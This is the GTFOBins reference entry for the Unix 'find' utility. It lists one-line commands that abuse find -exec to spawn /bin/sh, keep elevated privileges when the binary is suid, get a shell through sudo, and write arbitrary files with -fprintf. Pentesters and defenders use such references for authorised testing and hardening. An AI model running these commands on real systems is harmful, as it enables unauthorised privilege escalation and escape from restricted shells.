GTFOBins.github.io/_gtfobins/find.md
2024-05-14 12:26:57 -03:00

357 B

functions
shell suid sudo file-write
code
find . -exec /bin/sh ; -quit
code
./find . -exec /bin/sh -p ; -quit
code
sudo find . -exec /bin/sh ; -quit
description code
DATA is a format string, it supports some escape sequences. FILE=file_to_write find / -fprintf "$FILE" DATA -quit